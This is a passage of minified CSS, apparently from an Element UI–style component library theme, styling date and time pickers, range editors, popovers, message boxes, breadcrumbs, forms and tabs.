5px;display:table;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box}.el-date-range-picker__time-header>.el-icon-arrow-right{font-size:20px;vertical-align:middle;display:table-cell;color:#303133}.el-date-range-picker__time-picker-wrap{position:relative;display:table-cell;padding:0 5px}.el-date-range-picker__time-picker-wrap .el-picker-panel{position:absolute;top:13px;right:0;z-index:1;background:#fff}.el-date-picker{width:322px}.el-date-picker.has-sidebar.has-time{width:434px}.el-date-picker.has-sidebar{width:438px}.el-date-picker.has-time .el-picker-panel__body-wrapper{position:relative}.el-date-picker .el-picker-panel__content{width:292px}.el-date-picker table{table-layout:fixed;width:100%}.el-date-picker__editor-wrap{position:relative;display:table-cell;padding:0 5px}.el-date-picker__time-header{position:relative;border-bottom:1px solid #e4e4e4;font-size:12px;padding:8px 5px 5px;display:table;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box}.el-date-picker__header{margin:12px;text-align:center}.el-date-picker__header--bordered{margin-bottom:0;padding-bottom:12px;border-bottom:solid 1px #ebeef5}.el-date-picker__header--bordered+.el-picker-panel__content{margin-top:0}.el-date-picker__header-label{font-size:16px;font-weight:500;padding:0 5px;line-height:22px;text-align:center;cursor:pointer;color:#606266}.el-date-picker__header-label.active,.el-date-picker__header-label:hover{color:var(--color-primary,#419488)}.el-date-picker__prev-btn{float:left}.el-date-picker__next-btn{float:right}.el-date-picker__time-wrap{padding:10px;text-align:center}.el-date-picker__time-label{float:left;cursor:pointer;line-height:30px;margin-left:10px}.time-select{margin:5px 0;min-width:0}.time-select .el-picker-panel__content{max-height:200px;margin:0}.time-select-item{padding:8px 10px;font-size:14px;line-height:20px}.time-select-item.selected:not(.disabled){color:var(--color-primary,#419488);font-weight:700}.time-select-item.disabled{color:#e4e7ed;cursor:not-allowed}.time-select-item:hover{background-color:#f5f7fa;font-weight:700;cursor:pointer}.el-date-editor{position:relative;display:inline-block;text-align:left}.el-date-editor.el-input,.el-date-editor.el-input__inner{width:220px}.el-date-editor--monthrange.el-input,.el-date-editor--monthrange.el-input__inner{width:300px}.el-date-editor--daterange.el-input,.el-date-editor--daterange.el-input__inner,.el-date-editor--timerange.el-input,.el-date-editor--timerange.el-input__inner{width:350px}.el-date-editor--datetimerange.el-input,.el-date-editor--datetimerange.el-input__inner{width:400px}.el-date-editor--dates .el-input__inner{text-overflow:ellipsis;white-space:nowrap}.el-date-editor .el-icon-circle-close{cursor:pointer}.el-date-editor .el-range__icon{font-size:14px;margin-left:-5px;color:#c0c4cc;float:left;line-height:32px}.el-date-editor .el-range-input,.el-date-editor .el-range-separator{height:100%;margin:0;text-align:center;display:inline-block;font-size:14px}.el-date-editor .el-range-input{-webkit-appearance:none;-moz-appearance:none;appearance:none;border:none;outline:0;padding:0;width:39%;color:#606266}.el-date-editor .el-range-input::-webkit-input-placeholder{color:#c0c4cc}.el-date-editor .el-range-input:-ms-input-placeholder{color:#c0c4cc}.el-date-editor .el-range-input::-ms-input-placeholder{color:#c0c4cc}.el-date-editor .el-range-input::placeholder{color:#c0c4cc}.el-date-editor .el-range-separator{padding:0 5px;line-height:32px;width:5%;color:#303133}.el-date-editor .el-range__close-icon{font-size:14px;color:#c0c4cc;width:25px;display:inline-block;float:right;line-height:32px}.el-range-editor.el-input__inner{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding:3px 10px}.el-range-editor .el-range-input{line-height:1}.el-range-editor.is-active,.el-range-editor.is-active:hover{border-color:var(--color-primary,#419488)}.el-range-editor--medium.el-input__inner{height:36px}.el-range-editor--medium .el-range-separator{line-height:28px;font-size:14px}.el-range-editor--medium .el-range-input{font-size:14px}.el-range-editor--medium .el-range__close-icon,.el-range-editor--medium .el-range__icon{line-height:28px}.el-range-editor--small.el-input__inner{height:32px}.el-range-editor--small .el-range-separator{line-height:24px;font-size:13px}.el-range-editor--small .el-range-input{font-size:13px}.el-range-editor--small .el-range__close-icon,.el-range-editor--small .el-range__icon{line-height:24px}.el-range-editor--mini.el-input__inner{height:28px}.el-range-editor--mini .el-range-separator{line-height:20px;font-size:12px}.el-range-editor--mini .el-range-input{font-size:12px}.el-range-editor--mini .el-range__close-icon,.el-range-editor--mini .el-range__icon{line-height:20px}.el-range-editor.is-disabled{background-color:#f5f7fa;border-color:#e4e7ed;color:#c0c4cc;cursor:not-allowed}.el-range-editor.is-disabled:focus,.el-range-editor.is-disabled:hover{border-color:#e4e7ed}.el-range-editor.is-disabled input{background-color:#f5f7fa;color:#c0c4cc;cursor:not-allowed}.el-range-editor.is-disabled input::-webkit-input-placeholder{color:#c0c4cc}.el-range-editor.is-disabled input:-ms-input-placeholder{color:#c0c4cc}.el-range-editor.is-disabled input::-ms-input-placeholder{color:#c0c4cc}.el-range-editor.is-disabled input::placeholder{color:#c0c4cc}.el-range-editor.is-disabled .el-range-separator{color:#c0c4cc}.el-picker-panel{color:#606266;border:1px solid #e4e7ed;box-shadow:0 2px 12px 0 rgba(0,0,0,.1);background:#fff;border-radius:4px;line-height:30px;margin:5px 0}.el-popover,.el-time-panel{-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,.1)}.el-picker-panel__body-wrapper::after,.el-picker-panel__body::after{content:"";display:table;clear:both}.el-picker-panel__content{position:relative;margin:15px}.el-picker-panel__footer{border-top:1px solid #e4e4e4;padding:4px;text-align:right;background-color:#fff;position:relative;font-size:0}.el-picker-panel__shortcut{display:block;width:100%;border:0;background-color:transparent;line-height:28px;font-size:14px;color:#606266;padding-left:12px;text-align:left;outline:0;cursor:pointer}.el-picker-panel__shortcut:hover{color:var(--color-primary,#419488)}.el-picker-panel__shortcut.active{background-color:#e6f1fe;color:var(--color-primary,#419488)}.el-picker-panel__btn{border:1px solid #dcdcdc;color:#333;line-height:24px;border-radius:2px;padding:0 20px;cursor:pointer;background-color:transparent;outline:0;font-size:12px}.el-picker-panel__btn[disabled]{color:#ccc;cursor:not-allowed}.el-picker-panel__icon-btn{font-size:12px;color:#303133;border:0;background:0 0;cursor:pointer;outline:0;margin-top:8px}.el-picker-panel__icon-btn:hover{color:var(--color-primary,#419488)}.el-picker-panel__icon-btn.is-disabled{color:#bbb}.el-picker-panel__icon-btn.is-disabled:hover{cursor:not-allowed}.el-picker-panel__link-btn{vertical-align:middle}.el-picker-panel [slot=sidebar],.el-picker-panel__sidebar{position:absolute;top:0;bottom:0;width:110px;border-right:1px solid #e4e4e4;-webkit-box-sizing:border-box;box-sizing:border-box;padding-top:6px;background-color:#fff;overflow:auto}.el-picker-panel [slot=sidebar]+.el-picker-panel__body,.el-picker-panel__sidebar+.el-picker-panel__body{margin-left:110px}.el-time-spinner.has-seconds .el-time-spinner__wrapper{width:33.3%}.el-time-spinner__wrapper{max-height:190px;overflow:auto;display:inline-block;width:50%;vertical-align:top;position:relative}.el-time-spinner__wrapper .el-scrollbar__wrap:not(.el-scrollbar__wrap--hidden-default){padding-bottom:15px}.el-time-spinner__input.el-input .el-input__inner,.el-time-spinner__list{padding:0;text-align:center}.el-time-spinner__wrapper.is-arrow{-webkit-box-sizing:border-box;box-sizing:border-box;text-align:center;overflow:hidden}.el-time-spinner__wrapper.is-arrow .el-time-spinner__list{-webkit-transform:translateY(-32px);transform:translateY(-32px)}.el-time-spinner__wrapper.is-arrow .el-time-spinner__item:hover:not(.disabled):not(.active){background:#fff;cursor:default}.el-time-spinner__arrow{font-size:12px;color:#909399;position:absolute;left:0;width:100%;z-index:1;text-align:center;height:30px;line-height:30px;cursor:pointer}.el-time-spinner__arrow:hover{color:var(--color-primary,#419488)}.el-time-spinner__arrow.el-icon-arrow-up{top:10px}.el-time-spinner__arrow.el-icon-arrow-down{bottom:10px}.el-time-spinner__input.el-input{width:70%}.el-time-spinner__list{margin:0;list-style:none}.el-time-spinner__list::after,.el-time-spinner__list::before{content:'';display:block;width:100%;height:80px}.el-time-spinner__item{height:32px;line-height:32px;font-size:12px;color:#606266}.el-time-spinner__item:hover:not(.disabled):not(.active){background:#f5f7fa;cursor:pointer}.el-time-spinner__item.active:not(.disabled){color:#303133;font-weight:700}.el-time-spinner__item.disabled{color:#c0c4cc;cursor:not-allowed}.el-time-panel{margin:5px 0;border:1px solid #e4e7ed;background-color:#fff;box-shadow:0 2px 12px 0 rgba(0,0,0,.1);border-radius:2px;position:absolute;width:180px;left:0;z-index:1000;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-box-sizing:content-box;box-sizing:content-box}.el-slider__button,.el-slider__button-wrapper{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none}.el-time-panel__content{font-size:0;position:relative;overflow:hidden}.el-time-panel__content::after,.el-time-panel__content::before{content:"";top:50%;position:absolute;margin-top:-15px;height:32px;z-index:-1;left:0;right:0;-webkit-box-sizing:border-box;box-sizing:border-box;padding-top:6px;text-align:left;border-top:1px solid #e4e7ed;border-bottom:1px solid #e4e7ed}.el-time-panel__content::after{left:50%;margin-left:12%;margin-right:12%}.el-time-panel__content::before{padding-left:50%;margin-right:12%;margin-left:12%}.el-time-panel__content.has-seconds::after{left:calc(100% / 3 * 2)}.el-time-panel__content.has-seconds::before{padding-left:calc(100% / 3)}.el-time-panel__footer{border-top:1px solid #e4e4e4;padding:4px;height:36px;line-height:25px;text-align:right;-webkit-box-sizing:border-box;box-sizing:border-box}.el-time-panel__btn{border:none;line-height:28px;padding:0 5px;margin:0 5px;cursor:pointer;background-color:transparent;outline:0;font-size:12px;color:#303133}.el-time-panel__btn.confirm{font-weight:800;color:var(--color-primary,#419488)}.el-time-range-picker{width:354px;overflow:visible}.el-time-range-picker__content{position:relative;text-align:center;padding:10px}.el-time-range-picker__cell{-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;padding:4px 7px 7px;width:50%;display:inline-block}.el-time-range-picker__header{margin-bottom:5px;text-align:center;font-size:14px}.el-time-range-picker__body{border-radius:2px;border:1px solid #e4e7ed}.el-popover{position:absolute;background:#fff;min-width:150px;border:1px solid #ebeef5;padding:12px;z-index:2000;color:#606266;line-height:1.4;text-align:justify;font-size:14px;box-shadow:0 2px 12px 0 rgba(0,0,0,.1);word-break:break-all}.el-popover--plain{padding:18px 20px}.el-popover__title{color:#303133;font-size:16px;line-height:1;margin-bottom:12px}.v-modal-enter{-webkit-animation:v-modal-in .2s ease;animation:v-modal-in .2s ease}.v-modal-leave{-webkit-animation:v-modal-out .2s ease forwards;animation:v-modal-out .2s ease forwards}@keyframes v-modal-in{0%{opacity:0}}@keyframes v-modal-out{100%{opacity:0}}.v-modal{position:fixed;left:0;top:0;width:100%;height:100%;opacity:.5;background:#000}.el-popup-parent--hidden{overflow:hidden}.el-message-box{display:inline-block;width:420px;padding-bottom:10px;vertical-align:middle;background-color:#fff;border-radius:4px;border:1px solid #ebeef5;font-size:18px;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,.1);box-shadow:0 2px 12px 0 rgba(0,0,0,.1);text-align:left;overflow:hidden;-webkit-backface-visibility:hidden;backface-visibility:hidden}.el-message-box__wrapper{position:fixed;top:0;bottom:0;left:0;right:0;text-align:center}.el-message-box__wrapper::after{content:"";display:inline-block;height:100%;width:0;vertical-align:middle}.el-message-box__header{position:relative;padding:15px 15px 10px}.el-message-box__title{padding-left:0;margin-bottom:0;font-size:18px;line-height:1;color:#303133}.el-message-box__headerbtn{position:absolute;top:15px;right:15px;padding:0;border:none;outline:0;background:0 0;font-size:16px;cursor:pointer}.el-form-item.is-error .el-input__inner,.el-form-item.is-error .el-input__inner:focus,.el-form-item.is-error .el-textarea__inner,.el-form-item.is-error .el-textarea__inner:focus,.el-message-box__input input.invalid,.el-message-box__input input.invalid:focus{border-color:#f56c6c}.el-message-box__headerbtn .el-message-box__close{color:#909399}.el-message-box__headerbtn:focus .el-message-box__close,.el-message-box__headerbtn:hover .el-message-box__close{color:var(--color-primary,#419488)}.el-message-box__content{padding:10px 15px;color:#606266;font-size:14px}.el-message-box__container{position:relative}.el-message-box__input{padding-top:15px}.el-message-box__status{position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);font-size:24px!important}.el-message-box__status::before{padding-left:1px}.el-message-box__status+.el-message-box__message{padding-left:36px;padding-right:12px}.el-message-box__status.el-icon-success{color:#67c23a}.el-message-box__status.el-icon-info{color:#909399}.el-message-box__status.el-icon-warning{color:#e6a23c}.el-message-box__status.el-icon-error{color:#f56c6c}.el-message-box__message{margin:0}.el-message-box__message p{margin:0;line-height:24px}.el-message-box__errormsg{color:#f56c6c;font-size:12px;min-height:18px;margin-top:2px}.el-message-box__btns{padding:5px 15px 0;text-align:right}.el-message-box__btns button:nth-child(2){margin-left:10px}.el-message-box__btns-reverse{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.el-message-box--center{padding-bottom:30px}.el-message-box--center .el-message-box__header{padding-top:30px}.el-message-box--center .el-message-box__title{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.el-message-box--center .el-message-box__status{position:relative;top:auto;padding-right:5px;text-align:center;-webkit-transform:translateY(-1px);transform:translateY(-1px)}.el-message-box--center .el-message-box__message{margin-left:0}.el-message-box--center .el-message-box__btns,.el-message-box--center .el-message-box__content{text-align:center}.el-message-box--center .el-message-box__content{padding-left:27px;padding-right:27px}.msgbox-fade-enter-active{-webkit-animation:msgbox-fade-in .3s;animation:msgbox-fade-in .3s}.msgbox-fade-leave-active{-webkit-animation:msgbox-fade-out .3s;animation:msgbox-fade-out .3s}@-webkit-keyframes msgbox-fade-in{0%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes msgbox-fade-in{0%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@-webkit-keyframes msgbox-fade-out{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}100%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0}}@keyframes msgbox-fade-out{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}100%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0}}.el-breadcrumb{font-size:14px;line-height:1}.el-breadcrumb::after,.el-breadcrumb::before{display:table;content:""}.el-breadcrumb::after{clear:both}.el-breadcrumb__separator{margin:0 9px;font-weight:700;color:#c0c4cc}.el-breadcrumb__separator[class*=icon]{margin:0 6px;font-weight:400}.el-breadcrumb__item{float:left}.el-breadcrumb__inner{color:#606266}.el-breadcrumb__inner a,.el-breadcrumb__inner.is-link{font-weight:700;text-decoration:none;-webkit-transition:color .2s cubic-bezier(.645,.045,.355,1);transition:color .2s cubic-bezier(.645,.045,.355,1);color:#303133}.el-breadcrumb__inner a:hover,.el-breadcrumb__inner.is-link:hover{color:var(--color-primary,#419488);cursor:pointer}.el-breadcrumb__item:last-child .el-breadcrumb__inner,.el-breadcrumb__item:last-child .el-breadcrumb__inner a,.el-breadcrumb__item:last-child .el-breadcrumb__inner a:hover,.el-breadcrumb__item:last-child .el-breadcrumb__inner:hover{font-weight:400;color:#606266;cursor:text}.el-breadcrumb__item:last-child .el-breadcrumb__separator{display:none}.el-form--label-left .el-form-item__label{text-align:left}.el-form--label-top .el-form-item__label{float:none;display:inline-block;text-align:left;padding:0 0 10px}.el-form--inline .el-form-item{display:inline-block;margin-right:10px;vertical-align:top}.el-form--inline .el-form-item__label{float:none;display:inline-block}.el-form--inline .el-form-item__content{display:inline-block;vertical-align:top}.el-form--inline.el-form--label-top .el-form-item__content{display:block}.el-form-item{margin-bottom:22px}.el-form-item::after,.el-form-item::before{display:table;content:""}.el-form-item::after{clear:both}.el-form-item .el-form-item{margin-bottom:0}.el-form-item--mini.el-form-item,.el-form-item--small.el-form-item{margin-bottom:18px}.el-form-item .el-input__validateIcon{display:none}.el-form-item--medium .el-form-item__content,.el-form-item--medium .el-form-item__label{line-height:36px}.el-form-item--small .el-form-item__content,.el-form-item--small .el-form-item__label{line-height:32px}.el-form-item--small .el-form-item__error{padding-top:2px}.el-form-item--mini .el-form-item__content,.el-form-item--mini .el-form-item__label{line-height:28px}.el-form-item--mini .el-form-item__error{padding-top:1px}.el-form-item__label-wrap{float:left}.el-form-item__label-wrap .el-form-item__label{display:inline-block;float:none}.el-form-item__label{text-align:right;vertical-align:middle;float:left;font-size:14px;color:#606266;line-height:40px;padding:0 12px 0 0;-webkit-box-sizing:border-box;box-sizing:border-box}.el-form-item__content{line-height:40px;position:relative;font-size:14px}.el-form-item__content::after,.el-form-item__content::before{display:table;content:""}.el-form-item__content::after{clear:both}.el-form-item__content .el-input-group{vertical-align:top}.el-form-item__error{color:#f56c6c;font-size:12px;line-height:1;padding-top:4px;position:absolute;top:100%;left:0}.el-form-item__error--inline{position:relative;top:auto;left:auto;display:inline-block;margin-left:10px}.el-form-item.is-required:not(.is-no-asterisk) .el-form-item__label-wrap>.el-form-item__label:before,.el-form-item.is-required:not(.is-no-asterisk)>.el-form-item__label:before{content:'*';color:#f56c6c;margin-right:4px}.el-form-item.is-error .el-input-group__append .el-input__inner,.el-form-item.is-error .el-input-group__prepend .el-input__inner{border-color:transparent}.el-form-item.is-error .el-input__validateIcon{color:#f56c6c}.el-form-item--feedback .el-input__validateIcon{display:inline-block}.el-tabs__header{padding:0;position:relative;margin:0 0 15px}.el-tabs__active-bar{position:absolute;bottom:0;left:0;height:2px;background-color:var(--color-primary,#419488);z-index:1;-webkit-transition:-webkit-transform .3s cubic-bezier(.645,.045,.355,1);transition:-webkit-transform .3s cubic-bezier(.645,.045,.355,1);transition:transform .3s cubic-bezier(.645,.045,.355,1);transition:transform .3s cubic-bezier(.645,.045,.355,1),-webkit-transform .3s cubic-bezier(.645,.045,.355,1);list-style:none}.el-tabs__new-tab{float:right;border:1px solid #d3dce6;height:18px;width:18px;line-height:18px;margin:12px 0 9px 10px;border-radius:3px;text-align:center;font-size:12px;color:#d3dce6;cursor:pointer;-webkit-transition:all .15s;transition:all .15s}.el-collapse-item__arrow,.el-tabs__nav{-webkit-transition:-webkit-transform .3s}.el-tabs__new-tab .el-icon-plus{-webkit-transform:scale(.8,.8);transform:scale(.8,.8)}.el-tabs__new-tab:hover{color:var(--color-primary,#419488)}.el-tabs__nav-wrap{overflow:hidden;margin-bottom:-1px;position:relative}.el-tabs__nav-wrap::after{content:"";position:absolute;left:0;bottom:0;width:100%;height:2px;background-color:#e4e7ed;z-index:1}.el-tabs--border-card>.el-tabs__header .el-tabs__nav-wrap::after,.el-tabs--card>.el-tabs__header .el-tabs__nav-wrap::after{content:none}.el-tabs__nav-wrap.is-scrollable{padding:0 20px;-webkit-box-sizing:border-box;box-sizing:border-box}.el-tabs__nav-scroll{overflow:hidden}.el-tabs__nav-next,.el-tabs__nav-prev{position:absolute;cursor:pointer;line-height:44px;font-size:12px;color:#909399}.el-tabs__nav-next{right:0}.el-tabs__nav-prev{left:0}.el-tabs__nav{white-space:nowrap;position:relative;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;float:left;z-index:2}.el-tabs__nav.is-stretch{min-width:100%;display:-webkit-box;display:-ms-flexbox;display:flex}.el-tabs__nav.is-stretch>*{-webkit-box-flex:1;-ms-flex:1;flex:1;text-align:center}.el-tabs__item{padding:0 20px;height:40px;-webkit-box-sizing:border-box;box-sizing:border-box;line-height:40px;display:inline-block;list-style:none;font-size:14px;font-weight:500;color:#303133;position:relative}.el-tabs__item:focus,.el-tabs__item:focus:active{outline:0}.el-tabs__item:focus.is-active.is-focus:not(:active){-webkit-box-shadow:0 0 2px 2px var(--color-primary,#419488) inset;box-shadow:0 0 2px 2px var(--color-primary,#419488) inset;border-radius:3px}.el-tabs__item .el-icon-close{border-radius:50%;text-align:center;-webkit-transition:all .3s cubic-bezier(.645,.045,.355,1);transition:all .3s cubic-bezier(.645,.045,.355,1);margin-left:5px}.el-tabs__item .el-icon-close:before{-webkit-transform:scale(.9);transform:scale(.9);display:inline-block}.el-tabs__item .el-icon-close:hover{background-color:#c0c4cc;color:#fff}.el-tabs__item.is-active{color:var(--color-primary,#419488)}.el-tabs__item:hover{color:var(--color-primary,#419488);cursor:pointer}.el-tabs__item.is-disabled{color:#c0c4cc;cursor:default}.el-tabs__content{overflow:hidden;position:relative}.el-tabs--card>.el-tabs__header{border-bottom:1px solid #e4e7ed}.el-tabs--card>.el-tabs__header .el-tabs__nav{border:1px solid #e4e7ed;border-bottom:none;border-radius:4px 4px 0 0;-webkit-box-sizing:border-box;box-sizing:border-box}.el-tabs--card>.el-tabs__header .el-tabs__active-bar{display:none}.el-tabs--card>.el-tabs__header .el-tabs__item .el-icon-close{position:relative;font-size:12px;width:0;height:14px;vertical-align:middle;line-height:15px;overflow:hidden;top:-1px;right:-2px;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.el-tabs--card>.el-tabs__header .el-tabs__item.is-active.is-closable .el-icon-close,.el-tabs--card>.el-tabs__header .el-tabs__item.is-closable:hover .el-icon-close{width:14px}.el-tabs--card>.el-tabs__header .el-tabs__item{border-bottom:1px solid transparent;border-left:1px solid #e4e7ed;-webkit-transition:color .3s cubic-bezier(.645,.045,.355,1),padding .3s cubic-bezier(.645,.045,.355,1);transition:color .3s cubic-bezier(.645,.045,.355,1),padding .3s cubic-bezier(.645,.045,.355,1)}.el-tabs--card>.el-tabs__header .el-tabs__item:first-child{border-left:none}.el-tabs--card>.el-tabs__header .el-tabs__item.is-closable:hover{padding-left:13px;padding-right:13px}.el-tabs--card>.el-tabs__header .el-tabs__item.is-active{border-bottom-color:#fff}.el-tabs--card>.el-tabs__header .el-tabs__item.is-active.is-closable{padding-left:20px;padding-right:20px}.el-tabs--border-card{background:#fff;border:1px solid #dcdfe6;-webkit-box-shadow:0 2px 4px 0 rgba(0,0,0,.12),0 0 6px 0 rgba(0,0,0,.04);box-shadow:0 2px 4px 0 rgba(0,0,0,.12),0 0 6px 0 rgba(0,0,0,.04)}.el-tabs--border-card>.el-tabs__content{padding:15px}.el-tabs--border-card>.el-tabs__header{background-color:#f5f7fa;border-bottom:1px solid #e4e7ed;margin:0}.el-tabs--border-card>.el-tabs__header .el-tabs__item{-webkit-transition:all .3s cubic-bezier(.645,.045,.355,1);transition:all .3s cubic-bezier(.645,.045,.355,1);border:1px solid transparent;margin-top:-1px;color:#909399}.el-tabs--border-card>.el-tabs__header .el-tabs__item+.el-tabs__item,.el-tabs--border-card>.el-tabs__header .el-tabs__item:first-child{margin-left:-1px}.el-tabs--border-card>.el-tabs__header .el-tabs__item.is-active{color:var(--color-primary,#419488);background-color:#fff;border-right-color:#dcdfe6;border-left-color:#dcdfe6}.el-tabs--border-card>.el-tabs__header .el-tabs__item:not(.is-disabled):hover{color:var(--color-primary,#419488)}.el-tabs--border-card>.el-tabs__header .el-tabs__item.is-disabled{color:#c0c4cc}.el-tabs--border-card>.el-tabs__header .is-scrollable .el-tabs__item:first-child{margin-left:0}.el-tabs--bottom .el-tabs__item.is-bottom:nth-child(2),.el-tabs--bottom .el-tabs__item.is-top:nth-child(2),.el-tabs--top .el-tabs__item.is-bottom:nth-child(2),.el-tabs--top .el-tabs__item.is-top:nth-child(2){padding-left:20px}.el-tabs--bottom .el-tabs__item.is-bottom:last-child,.el-tabs--bottom .el-tabs__item.is-top:last-child,.el-tabs--top .el-tabs__item.is-bottom:last-child,.el-tabs--top .el-tabs__item.is-top:last-child{padding-right:0}.el-tabs--bottom .el-tabs--left>.el-tabs__header .el-tabs__item:nth-child(2),.el-tabs--bottom .el-tabs--right>.el-tabs__header .el-tabs__item:nth-child(2),.el-tabs--bottom.el-tabs--border-card>.el-tabs__header .el-tabs__item:nth-child(2),.el-tabs--bottom.el-tabs--card>.el-tabs__header .el-tabs__item:nth-child(2),.el-tabs--top .el-tabs--left>.el-tabs__header .el-tabs__item:nth-child(2),.el-tabs--top .el-tabs--right>.el-tabs__header .el-tabs__item:nth-child(2),.el-tabs--top.el-tabs--border-card>.el-tabs__header .el-tabs__item:nth-child(2),.el-tabs--top.el-tabs--card>.el-tabs__header .el-tabs__item:nth-child(2){padding-left:20px}.el-tabs--bottom .el-tabs--left>.el-tabs__header .el-tabs__item:last-child,.el-tabs--bottom .el-tabs--right>.el-tabs__header .el-tabs__item:last-child,.el-tabs--bottom.el-tabs--border-card>.el-tabs__header .el-tabs__item:last-child,.el-tabs--bottom.el-tabs--card>.el-tabs__header .el-tabs__item:last-child,.el-tabs--top .el-tabs--left>.el-tabs__header .el-tabs__item:last-child,.el-tabs--top .el-tabs--right>.el-tabs__header .el-tabs__item:last-child,.el-tabs--top.el-tabs--border-card>.el-tabs__header .el-tabs__item:last-child,.el-tabs--top.el-tabs--card>.el-tabs__header .el-tabs__item:last-child{padding-right:20px}.el-tabs--bottom .el-tabs__header.is-bottom{margin-bottom:0;margin-top:10px}.el-tabs--bottom.el-tabs--border-card .el-tabs__header.is-bottom{border-bottom:0;border-top:1px solid #dcdfe6}.el-tabs--bottom.el-tabs--border-card .el-tabs__nav-wrap.is-bottom{margin-top:-1px;margin-bottom:0}.el-tabs--bottom.el-tabs--border-card .el-tabs__item.is-bottom:not(.is-active){border:1px solid transparent}.el-tabs--bottom.el-tabs--border-card .el-tabs__item.is-bottom{margin:0 -1px -1px}.el-tabs--left,.el-tabs--right{overflow:hidden}.el-tabs--left .el-tabs__header.is-left,.el-tabs--left .el-tabs__header.is-right,.el-tabs--left .el-tabs__nav-scroll,.el-tabs--left .el-tabs__nav-wrap.is-left,.el-tabs--left .el-tabs__nav-wrap.is-right,.el-tabs--right .el-tabs__header.is-left,.el-tabs--right .el-tabs__header.is-right,.el-tabs--right .el-tabs__nav-scroll,.el-tabs--right .el-tabs__nav-wrap.is-left,.el-tabs--right .el-tabs__nav-wrap.is-right{height:100%}.el-tabs--left .el-tabs__active-bar.is-left,.el-tabs--left .el-tabs__active-bar.is-right,.el-tabs--right .el-tabs__active-bar.is-left,.el-tabs--right .el-tabs__active-bar.is-right{top:0;bottom:auto;width:2px;height:auto}.el-tabs--left .el-tabs__nav-wrap.is-left,.el-tabs--left .el-tabs__nav-wrap.is-right,.el-tabs--right .el-tabs__nav-wrap.is-left,.el-tabs--right .el-tabs__nav-wrap.is-right{margin-bottom:0}.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-next,.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev,.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-next,.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev,.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-next,.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev,.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-next,.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev{height:30px;line-height:30px;width:100%;text-align:center;cursor:pointer}.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-next i,.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev i,.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-next i,.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev i,.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-next i,.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev i,.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-next i,.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev i{-webkit-transform:rotateZ(90deg);transform:rotateZ(90deg)}.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev,.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev,.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev,.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev{left:auto;top:0}.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-next,.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-next,.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-next,.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-next{right:auto;bottom:0}.el-tabs--left .el-tabs__active-bar.is-left,.el-tabs--left .el-tabs__nav-wrap.is-left::after{right:0;left:auto}.el-tabs--left .el-tabs__nav-wrap.is-left.is-scrollable,.el-tabs--left .el-tabs__nav-wrap.is-right.is-scrollable,.el-tabs--right .el-tabs__nav-wrap.is-left.is-scrollable,.el-tabs--right .el-tabs__nav-wrap.is-right.is-scrollable{padding:30px 0}.el-tabs--left .el-tabs__nav-wrap.is-left::after,.el-tabs--left .el-tabs__nav-wrap.is-right::after,.el-tabs--right .el-tabs__nav-wrap.is-left::after,.el-tabs--right .el-tabs__nav-wrap.is-right::after{height:100%;width:2px;bottom:auto;top:0}.el-tabs--left .el-tabs__nav.is-left,.el-tabs--left .el-tabs__nav.is-right,.el-tabs--right .el-tabs__nav.is-left,.el-tabs--right .el-tabs__nav.is-right{float:none}.el-tabs--left .el-tabs__item.is-left,.el-tabs--left .el-tabs__item.is-right,.el-tabs--right .el-tabs__item.is-left,.el-tabs--right .el-tabs__item.is-right{display:block}.el-tabs--left.el-tabs--card .el-tabs__active-bar.is-left,.el-tabs--right.el-tabs--card 